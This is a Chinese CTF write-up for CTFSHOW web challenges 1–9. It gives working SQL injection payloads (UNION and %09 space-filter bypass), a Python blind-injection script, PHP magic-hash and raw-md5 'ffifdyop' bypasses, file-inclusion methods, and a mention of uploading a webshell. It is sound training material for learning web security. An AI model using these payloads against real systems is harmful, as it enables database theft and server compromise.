CTFSHOW WEB题目

web签到题

在这里插入图片描述

网页原代码中发现这个,base64解码就是flag

web2

在这里插入图片描述
这道题目就是最简单的SQL注入了
发现万能密码可以成功。
于是后台查询语句猜测是select ‘column’ from ‘table’ where username=’$_POST[]’&password=’$_POST[]’ limit 1,1

自己猜的熬,不一定是完全正确的。
这样的话直接闭合前面的单引号就行了。
之后就是
123’ or 1=1 union select 1,2,3#
123’ or 1=1 union select 1,database(),3#
123’ or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#
123’ or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘flag’),3#
123’ or 1=1 union select 1,(select group_concat(flag) from web2.flag),3#
在这里插入图片描述

web3

在这里插入图片描述
这道题目解法挺多的,我估计什么都没有过滤。
比如我们随便从网上,找一张图片。
在这里插入图片描述
比如就这一张图片,我们复制链接地址然后作为url的参数
在这里插入图片描述
结果出现这种情况,说明它包含进去了,那么我们可以远程文件包含的
第一种方法
在这里插入图片描述
说明php://input是可以的
第二种方法
日志包含
在这里插入图片描述
第三种方法
data协议
在这里插入图片描述

web4

这道题目肯定是有过滤或者禁用函数的
php://filter可以读一下源码,发现不可以
在这里插入图片描述
结果还是得日志包含
在这里插入图片描述
最后发现在上一层目录有flag.txt
在这里插入图片描述
如果实在找不到的话,可以自己写一个一句话木马传上去,利用蚁剑的提权找找。
在这里插入图片描述
其实也duck不必,一个find -name fl*就能找到。
顺便看看过滤了什么
在这里插入图片描述
原来是伪协议都给过滤了啊
本题目到此为止吧

web5

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
   
            if(!ctype_alpha($v1)){
   
                die("v1 error");
            }
            if(!is_numeric($v2)){
   
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
   
                echo $flag;
            }
        }else{
   
        
            echo "where is flag?";
        }
    ?>

都是很基础的题目了
这道题目需要v1是字符,v2是数字,并且他们md5值相同
这里给出答案,参考一下
md5(‘240610708’) //0e462097431906509019562988736854
md5(‘QNKCDZO’) //0e830400451993494058024219903391
0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。

md5(‘240610708’)==md5(‘QNKCDZO’); //True
md5(‘240610708’)===md5(‘QNKCDZO’); //False

这样的对应数值还有: var_dump(md5(‘240610708’) == md5(‘QNKCDZO’));
var_dump(md5(‘aabg7XSs’) == md5(‘aabC9RqS’));
var_dump(sha1(‘aaroZmOk’) == sha1(‘aaK1STfY’));
var_dump(sha1(‘aaO8zKZF’) == sha1(‘aa3OFF9m’)); var_dump(‘0010e2’ ==
‘1e3’); var_dump(‘0x1234Ab’ == ‘1193131’); var_dump(‘0xABCdef’ == ’
0xABCdef’);

web6

一开始试了试万能密码
发现有过滤了,然后经过初步测试就是过滤空格
在这里插入图片描述
可见,把空格替换成换行符是可以的。
然后开始流程,233
admin’%09or%091=1%09union%09select%091,2,3#

admin’%09or%091=1%09union%09select%091,database(),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=‘web2’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name=‘flag’),3#

admin’%09or%091=1%09union%09select%091,(select%09group_concat(flag)%09from%09web2.flag),3#
在这里插入图片描述
此题结束

web7

一开始没往SQL注入上去想,本意是以为文件包含,浪费了不少时间。
经过初步测试,是过滤空格,我喜欢用%09来代替
做完之后发现网上的wp大部分是盲注,其实duck不必
在这里插入图片描述
人家是可以回显的。
并且我猜测后台查询语句应该会是
select 文章题目 文章内容 from table where id=’$_GET[id]’
然后走流程
1%27%09or%091=1%09union%09select%091,database(),3#

1%27%09or%091=1%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3#

没想到我直接select%09*from%09flag试试直接出来了。
中间有一个问题就是table_schema=database()可以,但是换成’web7’就没有回显了,奇了个怪的。
本题到此为止。

web8

这个题自己做了半天,完全是因为一些奇奇怪怪的问题。
写脚本的时候,用提交参数的方式不行,后来出来用regexp匹配的时候又有了一堆问题,|,^,还有大小写都可以匹配,然后自己又过滤了一遍。最后发现用了ascii()这个函数可以解决乱匹配成功的问题,不知道为什么。
附上我的垃圾脚本

import requests
TableName=''
for i in range(1,50):
    for j in range(45,127):
        url=f"http://d8feef23-5c02-41b3-9a80-6eb6d64d8a39.challenge.ctf.show:8080/index.php?id=0%09or%09(1=(substr((select%09group_concat(flag)from%09web8.flag)from%09{
     i}%09for%091)regexp(chr({
     j}))))#"
        r=requests.get(url)
        if "A Child's Dream of a Star" in r.text:
            if(chr(j)=='|'or chr(j)=='^'or chr(j)=='.'or (j>=65 and j<=90)):
                continue
            TableName+=chr(j)
            print(TableName)

web9

一开始试了试没有什么头绪,就去找找wp看,发现有源码泄露。




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
   
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
   
					while($row=mysqli_fetch_assoc($result)){
   
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>


看了源码后,那么就很明显了啊。
这考察的是MD5啊,直接密码为ffifdyop得到答案。
这个知识点就不细说了,网上随便都是,大体原理就是ffifdyop的原始二进制字段中含有’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c, 恰构成了SQL注入漏洞,password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

web10

点击取消有一个index.phps文件,这是什么操作。




<?php
		$flag=
  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值